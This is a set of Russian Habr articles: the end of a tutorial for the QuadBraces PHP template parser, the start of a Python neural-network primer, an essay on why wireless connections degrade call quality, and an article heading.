* **parse($t='',$d=null,$e='',$k='')** — основной метод парсера — обработка; для обработки всего шаблона аргументы устанавливать не нужно; аргументы нужны для внутренних нужд или дискретной обработки (кусочек кода QuadBraces); входные аргументы — входной код, данные переменных, элемент, ключ элемента; на выходе — обработанные данные;
* **sanitize($t='')** — санитизация входного кода от QuadBraces;
* **extensions($v,$e)** — выполнение расширений; на входе — текущий код и строка с расширениями;
* **registerEvent($n,$f)** — регистрация события; на входе — имя события и функция;
* **registerMethod($n,$f)** — регистрация метода API; на входе — имя метода и функция;
* **invoke()** — вызов события; первый аргумент — имя события, остальное — аргументы вызова;
Где что искать?
---------------
Одно из важнейших свойств парсера QuadBraces является свойство paths. Оно определяет, где парсер будет искать чанки, сниппеты, расширения, шаблоны. Языковая система работает немного обособлено. В процессе поиска элемента парсер по очереди перебирает все зарегистрированные пути. Каждый раз поисковая функция добавляет к выбранному пути папку в зависимости от вида элемента. Чанки — chunks, шаблоны — templates, сниппеты — snippets. И уже там ищется искомый элемент. Напомню, что точка в ключах чанков, сниппетов и шаблонов по факту заменяет разделитель директорий.
Пример:
```
$parser->paths = 'D:/projects/mysite/content,D:/repo/templates/default';
$fn = $parser->search('snippet','basis.snipcon');
```
По факту парсер в данном случае будет проверять существование следующих файлов:
`D:/projects/mysite/content/snippets/basis/snipcon.php
D:/repo/templates/default/snippets/basis/snipcon.php`
Будет возвращён последний найденный файл. При включённой языковой системе фактически в поиск добавляются пути с языковыми сигнатурами. Допустим, установленный язык — Русский, то есть сигнатура — «ru». Таким образом список файлов следующий:
`D:/projects/mysite/content/snippets/basis/snipcon.php
D:/projects/mysite/content/snippets/basis/ru/snipcon.php
D:/repo/templates/default/snippets/basis/snipcon.php
D:/repo/templates/default/snippets/basis/ru/snipcon.php`
Всё прочее получается через свойства и методы.
Языковая система
----------------
Во-первых, сразу оговорюсь, что языковую систему нужно включать явно. Это делается подключением класса QuadBracesLang. Делается это простейшим кодом до инклуда основного класса:
```
define("QUADBRACES_LOCALIZED",true);
```
Лучше всего включить флаг loadLanguage. Тогда словари будут подгружаться автоматически. В принципе по умолчанию при установке путей парсера устанавливаются пути языковой системы. По сути языковая система ищет по тому же принципу свои файлы, что и поисковая система элементов. Только папка языковой системы — lang.
Пример:
```
$parser->paths = 'D:/projects/mysite/content,D:/repo/templates/default';
$parser->language = 'ru';
```
Будут сканироваться папки:
`D:/projects/mysite/content/lang/ru/
D:/repo/templates/default/lang/ru/`
В оных будут искаться все файлы с расширением «lng». Каждый файл считывается построчно. На каждой строке располагаются четыре элемента — языковой ключ, заголовок, описание, плейсхолдер. Языковой ключ — то, что потом используется в языковом теге. Заголовок (caption) — замена языкового тега по умолчанию. Описание (description) — обычно используется для подсказок или описаний полей. Плейсхолдер (placeholder) — чаще всего используется для соответствующего атрибута элементов ввода.
События
-------
Объект парсера поддерживает события. Обработчики, как я писал выше, устанавливаются методом registerEvent.
### Поддерживаемые события (везде $p — объект парсера):
* **init($p)** — Завершение конструктора;
* **beforeChangeData($v,$p)** — До изменения данных переменных; $v — устанавливаемые переменные;
* **changeData($v,$p)** — Изменение данных переменных; $v — устанавливаемые переменные;
* **beforeChangeSettings($v,$p)** — До изменения данных настроек; $v — устанавливаемые настройки;
* **changeSettings($v,$p)** — Изменение данных настроек; $v — устанавливаемые настройки;
* **beforeLoadDictionary($v,$p)** — До загрузки словаря; $v — словарь;
* **loadDictionary($v,$p)** — Загрузка словаря; $v — словарь;
* **methodNotFound($n,$p)** — Метод не найден; $n — Название метода;
* **beforeSetLanguage($v,$p)** — До установки языка; $v — язык;
* **setLanguage($v,$p)** — При установке языка; $v — язык;
* **setContent($v,$p)** — При установке контента; $v — контент;
* **setResources($v,$p)** — При установке ресурсов; $v — данные ресурсов;
* **invalidHandler($n,$a,$p)** — При отсутствии обработчика событий; $n — название обработчика, $a — переданные аргументы;
* **setResources($v,$p)** — При установке ресурсов; $v — данные ресурсов;
* **defaultTemplate($p)** — Дефолтный шаблон (попытка установить пустой шаблон);
* **loadTemplate($v,$p)** — При установке шаблона; $v — название шаблона;
* **templateMotFound($v,$p)** — При отсутствии шаблона; $v — название шаблона;
* **templateFields($v,$p)** — Получение полей шаблонов; $v — поля шаблона;
* **templateData($v,$p)** — Получение данных шаблона; $v — данные шаблона;
* **beforeLocalParse($v,$d,$p)** — До локальной обработки; $v — обрабатываемый код, $d — данные;
* **beforeParse($v,$p)** — До обработки; $v — обрабатываемый код;
* **localParse($v,$p)** — После обработки локального шаблона (до санитизации); $v — обработанный код;
* **parse($v,$p)** — После обработки шаблона (до санитизации); $v — обработанный код;
Каюсь, по незнанию напоролся на одну особенность PHP. Если, допустим, назначить функцию на обработчик события templateNotFound, а в ней попытаться установить свойство template, ничего не произойдёт. Это обусловлено ограничениями рекурсии при вызове аксессоров для свойств объекта PHP. Если кратко, то нельзя устанавливать свойство через аксессор и аксессора этого же свойства. Никак. От слова «совсем». Так что если захотите сделать 404-ю через обработчик события templateNotFound, вызывайте внутре него ~~неонку~~ метод setTemplate.
Расширения-обработчики
----------------------
Все теги поддерживают обработчики конечного значения. Например, получили мы переменную, а она пустая. Обработчик notempty позволяет задать выводимый текст на этот случай. У некоторых расширений есть дополнительные «расширения». Например, у базовой логики есть расширения «then» и «else».
### Поддерживаемые обработчики
* **is, eq** — равенство (сравниваемое значение, then, else)
* **isnot, neq** — неравенство (сравниваемое значение, then, else)
* **lt** — меньше, чем (сравниваемое значение, then, else)
* **lte** — меньше, чем, или равно (сравниваемое значение, then, else)
* **gt** — больше, чем (сравниваемое значение, then, else)
* **gte** — больше, чем или равно (сравниваемое значение, then, else)
* **even** — признак чётности (сравниваемое значение, then, else)
* **odd** — признак нечётности (сравниваемое значение, then, else)
* **empty** — признак пустого значения (значение «тогда», else)
* **notempty** — признак непустого значения (значение «тогда», else)
* **null, isnull** — является ли значение NULL (значение «тогда», else)
* **notnull** — является ли значение не NULL (значение «тогда», else)
* **isarray** — является ли значение массивом (значение «тогда», else)
* **for** — целочисленный итератор (количество итераций, start, splitter)
* **foreach** — индексный итератор (список индексов через запятую, splitter)
* **js-link** — превращает значение в ссылку на скрипт
* **css-link** — превращает значение в ссылку на таблицу стилей
* **import** — превращает значение в ссылку на таблицу стилей (@import для CSS)
* **link** — превращает значение в ссылку (заголовок)
* **link-external** — превращает значение во внешнюю ссылку (заголовок)
* **links** — преобразует все URL-ы в значении в ссылки (атрибуты ссылок)
* **ul, ol** — превращает многострочное значение в список (шаблон элемента списка)
Расширение ul/ol имеет два внутренних плейсхолдера: [+classes+] — классы элемента (first, last), [+item+] — собственно строка. Для расширения for доступен внутренний плейсхолдер [+iterator+], содержащий номер текущей итерации. Для расширения foreach доступны внутренние плейсхолдеры: [+iterator.index+] — номер позиции текущей итерации, [+iterator+] — текущий индекс.
Практикум
---------
Собственно, работать с классом парсера очень легко. Базовый пример:
```
php
require 'quadbraces/parser.php';
$parser = new QuadBracesParser('некий/путь/к_шаблонным_данным');
$parser-template = 'my-template';
echo $parser->parse();
?>
```
В нём мы подключаем класс парсера, инициализируем объект с передачей пути к шаблонным данным, устанавливаем шаблон и парсим. Само собой до обработки можно передать в парсер «настройки», переменные. А до включения класса парсера включить языковую систему, как было написано выше. Более практический пример:
```
php
define("QUADBRACES_LOCALIZED",true);
require 'quadbraces/parser.php';
$parser = new QuadBracesParser('D:/projects/foo/content/template');
$parser-language = 'ru';
$parser->data = array(
'pagetitle' => 'Мухи съели всё',
'date' => '20-09-17',
'image' => 'content/images/flies.jpg'
);
$parser->template = 'news.single';
echo $parser->parse();
?>
```
Шаблон будет искаться в следующих файлах:
`D:/projects/foo/content/template/templates/news/single.html
D:/projects/foo/content/template/templates/news/ru/single.html`
Итог-дисклеймер
---------------
Сразу прошу прощения за своё неумение писать туториалы и документацию! Если сообществу будет по-настоящему интересно, наиболее интересные моменты будут раскрываться в последующих публикациях. Задавайте вопросы — с радостью отвечу. Если заметите ошибку — пишите issues на [гитхабе сюда](https://github.com/XanderBass/quadbraces). | https://habr.com/ru/post/338018/ | null | ru | null |
# Python AI: как построить нейронную сеть и делать прогнозы
### Обзор искусственного интеллекта
Проще говоря, цель использования ИИ — заставить компьютеры думать так же, как люди. Это может показаться чем-то новым, но эта область родилась в 1950-х годах.
Представьте, что вам нужно написать программу на Python, которая использует ИИ для [решения задачи судоку](https://realpython.com/python-practice-problems/#python-practice-problem-5-sudoku-solver) . Способ добиться этого — написать [условные операторы](https://realpython.com/python-conditional-statements/) и проверить ограничения, чтобы увидеть, можно ли разместить число в каждой позиции. Ну, этот Python-скрипт уже является приложением ИИ, потому что вы запрограммировали компьютер для решения проблемы!
**Машинное обучение (ML)** и **глубокое обучение (DL)** также являются подходами к решению проблем. Разница между этими методами и скриптом Python заключается в том, что ML и DL используют **обучающие данные** вместо жестко запрограммированных правил, но все они могут использоваться для решения задач с использованием ИИ. В следующих разделах вы узнаете больше о том, что отличает эти два метода.
#### Машинное обучение
Машинное обучение — это метод, при котором вы обучаете систему решать проблему вместо того, чтобы явно программировать правила. Возвращаясь к примеру с судоку в предыдущем разделе, чтобы решить проблему с помощью машинного обучения, вы должны собрать данные из решенных игр-судоку и обучить **статистическую модель** . [Статистические модели](https://en.wikipedia.org/wiki/Statistical_model) — это математически формализованные способы аппроксимации поведения явления.
Распространенной задачей машинного обучения является [обучение](https://en.wikipedia.org/wiki/Supervised_learning) с учителем, в котором у вас есть набор данных с входными и известными выходными данными. Задача состоит в том, чтобы использовать этот набор данных для обучения модели, которая предсказывает правильные выходные данные на основе входных данных. На изображении ниже представлен рабочий процесс обучения модели с помощью обучения с учителем:
Рабочий процесс для обучения модели машинного обученияКомбинация обучающих данных с алгоритмом машинного обучения создает модель. Затем с помощью этой модели вы можете делать прогнозы для новых данных.
> **Примечание.**[scikit-learn](https://scikit-learn.org/) — это популярная библиотека машинного обучения Python, которая предоставляет множество алгоритмов обучения с учителем и без учителя. Чтобы узнать больше об этом, ознакомьтесь с [Разделение набора данных с помощью train\_test\_split() от scikit-learn](https://realpython.com/train-test-split-python-data/) .
>
>
Цель задач контролируемого обучения — делать прогнозы для новых, невидимых данных. Для этого вы предполагаете, что эти невидимые данные следуют [распределению вероятностей,](https://en.wikipedia.org/wiki/Probability_distribution) аналогичному распределению обучающего набора данных. Если в будущем это распределение изменится, вам нужно снова обучить свою модель, используя новый набор обучающих данных.
#### Разработка функций
Проблемы прогнозирования усложняются, когда вы используете в качестве входных данных различные типы данных. Проблема судоку относительно проста, потому что вы имеете дело непосредственно с числами. Что, если вы хотите научить модель предсказывать настроение в предложении? Или что, если у вас есть изображение, и вы хотите знать, изображен ли на нем кот?
Другое название входных данных — **функция** , а **проектирование функций** — это процесс извлечения функций из необработанных данных. При работе с различными видами данных вам необходимо найти способы представления этих данных, чтобы извлечь из них значимую информацию.
Примером техники разработки признаков является [лемматизация](https://realpython.com/sentiment-analysis-python/#normalizing-words) , при которой вы удаляете склонение слов в предложении. Например, флективные формы глагола «смотреть», такие как «часы», «наблюдать» и «наблюдать», будут сокращены до их **леммы** или базовой формы: «смотреть».
Если вы используете массивы для хранения каждого слова корпуса, то применяя лемматизацию, вы получаете менее разреженную матрицу. Это может повысить производительность некоторых алгоритмов машинного обучения. На следующем изображении представлен процесс лемматизации и представления с использованием [модели мешка слов](https://en.wikipedia.org/wiki/Bag-of-words_model) :
Создание функций с использованием модели мешка словВо-первых, флективная форма каждого слова сводится к его лемме. Затем подсчитывается количество вхождений этого слова. Результатом является массив, содержащий количество вхождений каждого слова в тексте.
#### Глубокое обучение
Глубокое обучение — это метод, в котором вы позволяете нейронной сети самостоятельно определять, какие функции важны, вместо того, чтобы применять методы проектирования функций. Это означает, что с помощью глубокого обучения вы можете обойти процесс разработки функций.
Отсутствие необходимости иметь дело с разработкой признаков — это хорошо, потому что процесс усложняется по мере того, как наборы данных становятся более сложными. Например, как бы вы извлекли данные, чтобы предсказать настроение человека по изображению его лица? С нейронными сетями вам не нужно об этом беспокоиться, потому что сети могут сами изучать функции. В следующих разделах вы углубитесь в нейронные сети, чтобы лучше понять, как они работают.
### Нейронные сети: основные понятия
Нейронная сеть — это система, которая учится делать прогнозы, выполняя следующие шаги:
1. Получение входных данных
2. Делаем прогноз
3. Сравнение прогноза с желаемым результатом
4. Настройка его внутреннего состояния для правильного прогнозирования в следующий раз
**Векторы** , **слои** и **линейная регрессия** — вот некоторые из строительных блоков нейронных сетей. Данные хранятся в виде векторов, а в Python вы храните эти векторы в [массивах](https://realpython.com/numpy-array-programming/) . Каждый уровень преобразует данные, поступающие с предыдущего уровня. Вы можете думать о каждом слое как о шаге разработки признаков, потому что каждый слой извлекает некоторое представление данных, которые были получены ранее.
Одна интересная вещь о слоях нейронной сети заключается в том, что одни и те же вычисления могут извлекать информацию из *любых* данных. Это означает, что не имеет значения, используете ли вы данные изображения или текстовые данные. Процесс извлечения значимой информации и обучения модели глубокого обучения одинаков для обоих сценариев.
На изображении ниже вы можете увидеть пример сетевой архитектуры с двумя уровнями:
Нейронная сеть с двумя слоямиКаждый уровень преобразует данные, полученные с предыдущего уровня, применяя некоторые математические операции.
#### Процесс обучения нейронной сети
Обучение нейронной сети похоже на процесс проб и ошибок. Представьте, что вы впервые играете в дартс. В своем первом броске вы пытаетесь попасть в центральную точку мишени. Обычно первый выстрел делается просто для того, чтобы понять, как высота и скорость вашей руки влияют на результат. Если вы видите, что дротик находится выше центральной точки, вы настраиваете руку, чтобы бросить его немного ниже, и так далее.
Вот шаги для попытки попасть в центр мишени для дартс:
Шаги, чтобы попасть в центр дартсОбратите внимание, что вы продолжаете оценивать ошибку, наблюдая, куда приземлился дротик (шаг 2). Вы продолжаете, пока, наконец, не попадете в центр мишени.
С нейронными сетями процесс очень похож: вы начинаете со случайных **весов** и векторов **смещения** , делаете прогноз, сравниваете его с желаемым результатом и корректируете векторы для более точного прогноза в следующий раз. Процесс продолжается до тех пор, пока разница между прогнозом и правильными целями не станет минимальной.
Знание того, когда остановить обучение и какую цель точности установить, является важным аспектом обучения нейронных сетей, в основном из -за сценариев [переобучения и недообучения](https://realpython.com/linear-regression-in-python/#underfitting-and-overfitting) .
#### Векторы и веса
Работа с нейронными сетями состоит в выполнении операций с векторами. Вы представляете векторы как многомерные массивы. Векторы полезны в глубоком обучении в основном из-за одной конкретной операции: **скалярного произведения** . Скалярное произведение двух векторов говорит вам, насколько они похожи с точки зрения направления, и масштабируется по величине двух векторов.
Основными векторами внутри нейронной сети являются векторы весов и смещения. Грубо говоря, вы хотите, чтобы ваша нейронная сеть проверяла, похожи ли входные данные на другие входные данные, которые она уже видела. Если новые входные данные аналогичны ранее просмотренным входным данным, то и выходные данные будут аналогичными. Вот как вы получаете результат предсказания.
#### Модель линейной регрессии
**Регрессия** используется, когда вам нужно оценить взаимосвязь между **зависимой переменной** и двумя или более **независимыми переменными** . [Линейная регрессия](https://realpython.com/linear-regression-in-python/) — это метод, применяемый, когда вы аппроксимируете связь между переменными как линейную. Метод восходит к девятнадцатому веку и является самым популярным методом регрессии.
> **Примечание.** Линейная связь — **это** связь, в которой существует прямая связь между независимой переменной и зависимой переменной.
>
>
Смоделировав взаимосвязь между переменными как линейную, вы можете выразить зависимую переменную как **взвешенную сумму** независимых переменных. Таким образом, каждая независимая переменная будет умножена на вектор с именем `weight`. Помимо весов и независимых переменных, вы также добавляете еще один вектор: **смещение** . Он устанавливает результат, когда все остальные независимые переменные равны нулю.
В качестве реального примера того, как построить модель линейной регрессии, представьте, что вы хотите обучить модель прогнозировать цену дома на основе площади и возраста дома. Вы решаете смоделировать эту связь с помощью линейной регрессии. Следующий блок кода показывает, как вы можете написать модель линейной регрессии для указанной проблемы в псевдокоде:
```
price = (weights_area * area) + (weights_age * age) + bias
```
В приведенном выше примере есть два веса: `weights_area`и `weights_age`. Процесс обучения состоит из корректировки весов и смещения, чтобы модель могла предсказать правильное значение цены. Для этого вам нужно вычислить ошибку прогноза и соответствующим образом обновить веса.
Это основы того, как работает механизм нейронной сети. Теперь пришло время посмотреть, как применять эти концепции с помощью Python.
### Python AI: начинаем строить свою первую нейронную сеть
Первым шагом в построении нейронной сети является создание выходных данных из входных данных. Вы сделаете это, создав взвешенную сумму переменных. Первое, что вам нужно сделать, это представить входные данные с помощью Python и [NumPy](https://realpython.com/numpy-tutorial/) .
#### Обертывание входных данных нейронной сети с помощью NumPy
Вы будете использовать NumPy для представления входных векторов сети в виде массивов. Но прежде чем использовать NumPy, рекомендуется поиграть с векторами в чистом Python, чтобы лучше понять, что происходит.
В этом первом примере у вас есть входной вектор и два других весовых вектора. Цель состоит в том, чтобы найти, какой из весов больше похож на вход, принимая во внимание направление и величину. Вот как выглядят векторы, если вы их нарисуете:
Три вектора в декартовой координатной плоскости`weights_2`больше похож на входной вектор, поскольку он указывает в том же направлении, и величина также аналогична. Так как же определить, какие векторы похожи с помощью Python?
Во-первых, вы определяете три вектора, один для ввода и два других для весов. Затем вы вычисляете, насколько похожи `input_vector`и `weights_1`. Для этого вы примените [**скалярное произведение**](https://en.wikipedia.org/wiki/Dot_product) . Поскольку все векторы являются двумерными векторами, вот шаги для этого:
1. Умножьте первый индекс `input_vector`на первый индекс `weights_1`.
2. Умножьте второй индекс `input_vector`на второй индекс `weights_2`.
3. Суммируйте результаты обоих умножений.
Вы можете использовать консоль IPython или [блокнот Jupyter](https://realpython.com/jupyter-notebook-introduction/) , чтобы следовать инструкциям. Хорошей практикой является создание новой [виртуальной среды](https://realpython.com/python-virtual-environments-a-primer/) каждый раз, когда вы начинаете новый проект Python, поэтому вы должны сделать это в первую очередь. `venv`поставляется с Python версии 3.3 и выше и удобен для создания виртуальной среды.
Продолжение статьи будет позже... | https://habr.com/ru/post/671116/ | null | ru | null |
# Беспроводные технологии - это ловушка
Когда-то я был крестоносцем, борющимся с проводами. Я ненавидел хаос из кабелей и мою склонность бессознательно жевать их, когда они окажутся рядом с лицом. Но столкнувшись со сложным багом беспроводных систем в процессе улучшения качества видеозвонков, я стал отступником. Чем больше я узнавал о WiFi, Bluetooth и других протоколах, тем сильнее убеждался, что в сети они часто хуже, чем провода.
Например, большинство людей при торможении видеозвонков винят в этом провайдера Интернета. И это понятно, ведь большинство провайдеров — это олигополисты с дикими ценами, почти неработающим ПО и ужасной техподдержкой. Однако каждый раз, когда я помогал кому-то разобраться в источнике его проблем со связью, виновником оказывался его WiFi. И часто проще всего было решить проблему, проложив кабель.
WiFi (Bluetooth и т. п.) притягивают нас иллюзией того, что «всё просто работает». Но если покопаться, то часто можно выяснить, что беспроводной линк работает со сниженным качеством и его показатели гораздо хуже, чем у проводного аналога. Так как снижение качества происходит незаметно, часто оказывается неочевидным, что проблема в беспроводном подключении; вместо этого мы обычно виним устройство, программное обеспечение или себя.
Я постоянно вижу, как люди решают какую-то связанную с беспроводной связью проблему и говорят, что [понятия не имели, насколько хорошо всё может быть](https://www.jefftk.com/p/ethernet-is-worth-it-for-video-calls).
*Кабели на моём столе в порядке.*
*Кабели под столом чуть в меньшем порядке.*
Недавно меня это наконец выбесило и я заменил все беспроводные устройства на столе проводными. Хотя мне пришлось вложить немного труда в кабель-менеджмент (и расстаться с привычкой жевать провода наушников), удалось достичь примерно того же уровня порядка с *гораздо* более высоким уровнем надёжности, качества и скорости. Мне больше не нужно беспокоиться, что моё оборудование не сможет установить сопряжение, разрядится или внезапно превратит мой голос в металлическое звучание робота во время видеозвонка. Это существенно снизило уровень моих страданий, связанных с оборудованием.
Чтобы проиллюстрировать уровень страданий, о котором я говорю, ниже я опишу мелкие, малозаметные, но серьёзные проблемы, с которыми я сталкивался при использовании беспроводных протоколов. Если вас это убедит, попробуйте использовать провода, так вы тоже сможете проверить, являетесь ли вы жертвой беспроводной ловушки.
WiFi
----
**Помехи.** Если в одном «канале» (радиочастотном диапазоне) работает несколько устройств, их сигналы могут мешать друг другу. Когда такое происходит, вашему устройству нужно заново отправить ту же информацию, что замедляет WiFi.
Вы можете подумать, что эту проблему можно решить, заставив роутеры автоматически определять наименее подверженный помехам канал, но, похоже, большинство из них довольно плохо с этим справляется. (Кроме того, старому протоколу WiFi на 2,4 ГГц разрешалось использовать только три непересекающихся канала.)
Это означает, что в густонаселённых местах (например, в многоквартирных домах) роутеры часто выбирают плохой канал и мешают друг другу. Роутер или устройство никак не может сообщить вам, что испытывает помехи, поэтому вы узнаете об этом, только сравнив максимальную скорость роутера с тем, что он выдаёт.
**Мёртвые зоны.** Если вы слишком далеко от роутера, то компьютер может и не получать надёжный передаваемый роутером сигнал, или наоборот. На параметр «слишком далеко» могут влиять (иногда очень странным образом) находящиеся на пути стены или потолки. Если вы не знаете, как радиоволны взаимодействуют со строительными материалами, то вам сложно будет предсказать, где будут находиться мёртвые зоны.
Хуже всего то, что многие мёртвые зоны мертвы не полностью: прежде чем сдаться, компьютер и роутер будут пытаться повторно передавать каждый пакет данных, и частенько им рано или поздно удаётся это сделать. Если такое происходит чаще всего, то вместо мёртвой зоны вы получаете «медленную зону», в которой Интернет работает, но ужасно плохо.
Разумеется, если вы не следите внимательно за статистикой скорости сети и её связью с вашим местоположением, то вы ни за что не заметите медленную зону. Если вы что-то и заметите, так это то, что иногда ваш Интернет случайным образом становится хуже, чем обычно.
**Опросы.** Любая программа в вашем компьютере может попросить плату беспроводной связи перечислить все близкие сети. Это заставляет её перейти в «режим опроса», при котором она тратит меньше времени на передачу данных и больше времени слушает роутеры, передающие свою сетевую информацию (плата не может передавать и получать данные одновременно). Это может привести к внезапному скачку сетевых задержек, из-за которых, например, видеозвонок может несколько секунд тормозить или «заикаться».
Большинство программистов не осознаёт, что опросы беспроводных сетей влияют на скорость сети, поэтому просят ОС выполнять опросы с большой частотой. Я обжигался на этом много раз.
Самый вопиющий пример: однажды я заметил, что видеозвонки иногда «заикаются» со странно равномерной частотой. Вот каким был мучительный процесс выявления виновника:
* Я [пинговал](https://en.wikipedia.org/wiki/Ping_%28networking_utility%29) свой роутер каждую секунду в течение 10 минут, затем составил из результатов график в Excel и убедился, что медленные пинги повторяются ровно через каждые 30 секунд. Поэтому я предположил, что проблема программная.
* Я попросил на Facebook помощи в отладке, и кто-то посоветовал мне [включить логгинг отладки беспроводной связи macOS](https://twitter.com/benskuhn/status/952245967931215872).
* Я включил логгинг и заметил, что многие приложения после их запуска запрашивали сканирование сети в моменты, совпадающие со временем увеличения задержек пингов.
* Сузив рамки проблемы до этих нескольких приложений, я [спросил на AskDifferent, как заставить их перестать это делать](https://apple.stackexchange.com/questions/310218/stop-destroying-network-performance-every-time-an-app-scans-for-wifi-networks).
* Какой-то пользователь AskDifferent отследил проблему до [Qt](https://www.qt.io/) — фреймворка программирования для создания пользовательских интерфейсов, используемого в приложениях с миллионами пользователей.
В Qt есть компонент, опрашивающий сети каждые 30 секунд, если запущен network access manager, поэтому практически *все Qt-приложения* пользуются сетью, чтобы ухудшать скорость вашего WiFI в течение примерно пяти из каждых 30 секунд.
Уже есть множество отчётов об этом баге, [один из них](https://bugreports.qt.io/browse/QTBUG-46015?focusedCommentId=290240&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-290240) объявлен «закрытым» инженером, поскольку разработчики позволили пользователям задавать [переменную среды](https://en.wikipedia.org/wiki/Environment_variable) для отключения опросов.
Разумеется, это невероятно бесполезное «решение», потому что большинство пользователей даже не знает, что скорость WiFi ухудшается; те, кто знает, не понимают, что это вина Qt; а те, кто и это понимает, с трудом смогут загуглить и найти, как всё исправить (не говоря уж о реализации решения без знания кодинга).
Это поведение настолько недружественно к пользователю, а «исправление» настолько смехотворно, что, похоже, разработчики Qt вообще не поняли серьёзность проблемы — они испортили видеозвонки миллионам людей, потому что, например, проблема коснулась qBittorrent, который скачали [75 миллионов раз](https://en.wikipedia.org/wiki/QBittorrent). Большинство из этих миллионов людей, скорее всего, недостаточно знакомы с техникой, чтобы понимать, как «присвоить переменной среды `QT_BEARER_POLL_TIMEOUT` значение `-1`».
(К счастью, похоже, в 2017 году — три года спустя после первого отчёта о баге — разработчики наконец поняли, что нужно просто *прекратить опросы* и [устранили баг правильно](https://codereview.qt-project.org/c/qt/qtbase/+/214029).)
Qt был самой худшей проблемой, но далеко не единственной. Даже в macOS какое-то время существовал баг, при котором то же самое происходило, когда пользователь открывал Spotlight (что я часто делаю во время видеозвонков, когда меня просят посмотреть какой-то файл или я хочу ~~посмотреть котиков в Интернете~~ параллельно заняться другой задачей). Мне пришлось устранять проблему вручную, отключая отдельные типы результатов Spotlight, пока я не нашёл тот, который вызывал проблему. То есть, похоже, даже собственные разработчики Apple не осознают, что опросы WiFi вредят.
Bluetooth-аудио
---------------
**Большие задержки.** Большинство Bluetooth-наушников добавляют [задержку примерно в 150-300 мс](https://www.rtings.com/headphones/tests/connectivity/bluetooth#comparison_4115) (время между получением аудио из Интернета и воспроизведением звука из наушников). Это значит, что когда я болтаю с другом из Нью-Йорка, аудиоданным нужно около 50 мс, чтобы добраться от него до моего компьютера и, допустим, 200 мс (*в 4 раза больше*), чтобы долететь от моего компьютера до ушей. Так как большие задержки препятствуют естественному течению беседы, мне бы хотелось максимально их устранить.
Можно найти Bluetooth-наушники с меньшей задержкой, если они поддерживают нужный кодек, например AptX Low Latency. Разумеется, кроме теоретической поддержки кодека они должны согласовать его использование с компьютером, что иногда сделать не удаётся. (Опция просмотра используемого кодека, конечно же, погребена в различных скрытых меню и параметрах.)
**Низкое качество.** Эта проблема тоже связана с кодеками: многие Bluetooth-устройства воспроизводят звук высокого качества при отключенном микрофоне, но существенно снижают качество, если он включен. Если у вас есть Bluetooth-наушники, вы можете проверить это самостоятельно: включите в них музыку, а затем откройте настройки микрофона на той странице, где показана громкость на входе микрофона. Вы, скорее всего, заметите, что звук на секунду прервётся, а потом вернётся в более низком качестве. (Это происходит даже с устройствами, которые считают качественными, например, с моими Airpods Pro и Macbook Air 2018 года.)
Bluetooth в целом
-----------------
**Баги Bluetooth.** Несмотря на то, что у всех компьютеров сегодня есть встроенный Bluetooth, многие Bluetooth-аксессуары поставляются с проприетарными [донглами](https://en.wikipedia.org/wiki/Dongle), использующими другой протокол. (Например, наушники Jabra, клавиатуры и мыши Logitech, [этот головной микрофон](https://antlionaudio.com/products/modmic-wireless?variant=12529444126775).) Очевидно, эти донглы используют другие виды беспроводной передачи, поскольку Bluetooth тратит много энергии, добавляет задержку и менее надёжен.
Например, во встроенном Bluetooth моего Mac мышь (Logitech MX Master) демонстрирует заметные колебания — курсор сначала останавливается, потом скачет, а не движется плавно. Такое повторялось на трёх разных Mac, поэтому, вероятно, это программная проблема. Когда я стал использовать донгл Logitech, проблема исчезла.
Аналогично, при подключении к Bluetooth моего Mac в наушниках Jabra Evolve 75 часто пропадает микрофон или звук. С собственным донглом они (чаще всего) работают хорошо.
Я не знаю, кого в этом винить — Jabra/Logitech или Apple (а может, и организацию по стандартизации Bluetooth). Но как бы то ни было, когда производители устройств отказываются от стандарта в пользу протоколов, требующих отдельного донгла для каждого устройства, мы понимаем, что Bluetooth не справляется.
Изначальная цель Bluetooth заключалась в объединении различных беспроводных устройств в единственный беспроводной протокол, [как Харальд Синезубый объединил Данию](https://ru.wikipedia.org/wiki/Bluetooth#%D0%9D%D0%B0%D0%B7%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). Однако в реальности мне недавно пришлось купить USB-хаб для донглов моей клавиатуры, мыши, наушников и микрофона.
**Надёжность.** Даже с проприетарными донглами беспроводные устройства намного ненадёжнее проводных. Например, выше я писал о том, что после подключения проприетарного донгла мышь Logitech MX Master стала работать нормально, но это не совсем правда: она какое-то время работала нормально, но однажды снова начала двигаться рывками без каких-либо выраженных причин. (Именно в тот день я стал отступником и выбросил всё беспроводное оборудование со стола.)
Я сталкивался с другими багами Bluetooth, заставлявшими меня несколько раз в неделю разрывать и устанавливать сопряжение. Например, мои AirPods иногда «рассинхронизируются» и один наушник воспроизводит аудио на несколько миллисекунд раньше второго, создавая странный и очень неприятный эффект эхо.
**Помехи.** Вероятная причина низкой надёжности заключается в том, что Bluetooth и WiFi на 2,4 ГГц создают друг другу помехи. Как и в других случаях возникновения помех, ваши устройства никогда не предупреждают, что они столкнулись с помехами, и вы заметите это только по снижению качества.
**Зарядка.** Это не вина самого Bluetooth, но недостаток использования большого количества беспроводных устройств заключается в том, что тебе приходится постоянно не забывать их заряжать. Мои помирали в самый неподходящий момент, например, во время видеозвонков.
Вывод
-----
Большинство этих проблем имеет общие черты:
* Работа устройств не нарушается полностью, а лишь частично снижается её качество. Вероятно, это хороший признак проблемы, но ты не сразу замечаешь, что она существует.
* Кроме того, я понятия не имел, насколько качественно устройство «должно» работать, поэтому поздно замечал, что качество упало.
* И даже когда я узнавал о существовании проблемы, было сложно, а порой и невозможно понять её первопричину и устранить её, потому что я не знал, как её правильно диагностировать (или таких способов просто не существует).
Я хочу, чтобы мои инструменты были *предсказуемыми* — имели стабильные показатели и ломались понятным мне образом. Беспроводные протоколы, по сути, сложнее (потому что множество устройств делит одно и то же помещение) и могут сломаться по гораздо большему количеству причин, поэтому они гораздо непредсказуемее проводов. Лично для меня их удобство часто не оправдывает таких трудностей.
Я по-прежнему пользуюсь беспроводным оборудованием, когда это того стоит. Например, я включаю WiFi ноутбука, когда он часто перемещается, и использую беспроводную зарядку телефона, потому что мне не важно, насколько быстро он зарядится. Но в случае серьёзной работы я уделяю время прокладке кабелей и подключению всего проводами.
Это заставляет меня задуматься о том, каким бы был мир, если бы мы тратили 10% усилий, которые мы сейчас тратим на избавление от проводов повсюду, и вложили бы их в разработку изобретательных решений по прокладке кабелей. Мне кажется, многие зависящие от беспроводных технологий действия наподобие видеозвонков были бы гораздо более приятным процессом. | https://habr.com/ru/post/666178/ | null | ru | null |
# 9 альтернатив плохой команде (шаблону проектирования)
### Что это и зачем?
